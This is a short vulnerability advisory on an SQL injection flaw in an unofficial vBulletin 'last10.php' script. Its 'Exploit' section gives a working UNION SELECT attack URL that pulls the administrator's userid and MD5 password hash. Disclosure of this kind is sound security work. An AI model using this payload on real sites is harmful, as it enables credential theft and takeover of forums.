|
|
|
|
| |
| vBulletin's unofficial Last XX (lastten, last10) PHP script has been found to contain an SQL injection vulnerability in its ftitle parameter, allowing a remote attacker to cause the program to execute arbitrary SQL statements. |
| |
Credit:
The information has been provided by al3ndaleeb.
|
| |
Exploit:
The following URL will cause the server to return the userid and MD5 password of the administrator of the vBulletin forum:
http://site/forum/last10.php?ftitle=%20WHERE%20userid=0%20UNION%20SELECT%20null, userid, password, null, null, null, null, null, null%20FROM%20user%20WHERE%20usergroupid=6%20LIMIT%201/*
|
|
|
|
|
